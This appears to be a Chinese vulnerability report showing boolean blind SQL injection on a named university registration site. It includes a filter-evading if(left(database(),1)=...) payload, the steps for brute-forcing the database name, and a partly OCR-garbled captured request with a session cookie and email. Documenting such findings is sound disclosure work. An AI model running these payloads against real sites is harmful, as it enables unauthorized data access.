URL：https://yjs.naoce.sjtu.edu.cn/login.html
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sql注入存在点
点击注册资料
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修改注册资料，正常抓包
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抓包时候发现有三个包在测试的过程中泄露sql语句
[bookmark: _GoBack]（配图不太清晰）
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三个包
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三个包都不太对劲
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选择这个包验证手机号码和id号的
[image: IMG_264]
放到重发模块，初步构造语句
If(1=1,1165,0)
返回1165时，页面回显为真
返回0时，页面回显为假
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进一步构造语句，有墙对一些函数禁用
调整位置，最终构造如下语句
if((left(database(),1)='a'),1165,0)
验证语句是否构造成功
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返回为假
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返回为真，因此语句构造成功
放入到爆破模块，对字母进行一个设置
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爆破成功
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再次验证
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通过后期验证，另外一个包也存在sql注入，且注入手法一致
带有邮箱的数据包，三个包的第二个
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[ sena  JIRCTN Target: httpsy//yjs.naoce sjtu.edu.cn 2 HTTP/1 (2)
==

Response

Pretty Raw Hex [

1 POST /user/check. html HTTP/1. 1

2 Host: yjs. naoce. sjtu. edu. cn

3 Cookie: PHPSESSID=5tu802nniagvo2urvhlloqOpmb

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
5 Accept: application/json, text/javascript, */#; q=0.01

6 Accept-Language: zh-CN, zh;q=0. 8, zh-T; ) 2h-HK; 4=0. 5, en-US; 4=0. 3, en;
7 Accept-Encoding: gzip, deflate

8 Content-Type: application/s-wmw~form-urlencoded; charset=UTF-8

9 X-Requested-With: XMLHttpRequest

10 Content-Length: 68

11 Origin: https://yjs. naoce. sjtu. edu. cn

12 Referer: https://yjs. naoce. sjtu. edu. cn/user/register. html

13 Sec-Fetch-Dest: empty

14 Sec-Fetch-lode: cors

15 Sec-Fetch-Site: same-origin

16 Te: trailers

17 Comnection: close

18]

19 emai1=945534501%40qq. conbuser_id=if ((left (database(), 1)="w'), 1165, 0)

z
7]
b}
"
a
fa]
]
E]

DS <> |[ searcn.. 0 matches
Done 299 bytes | 81 millis
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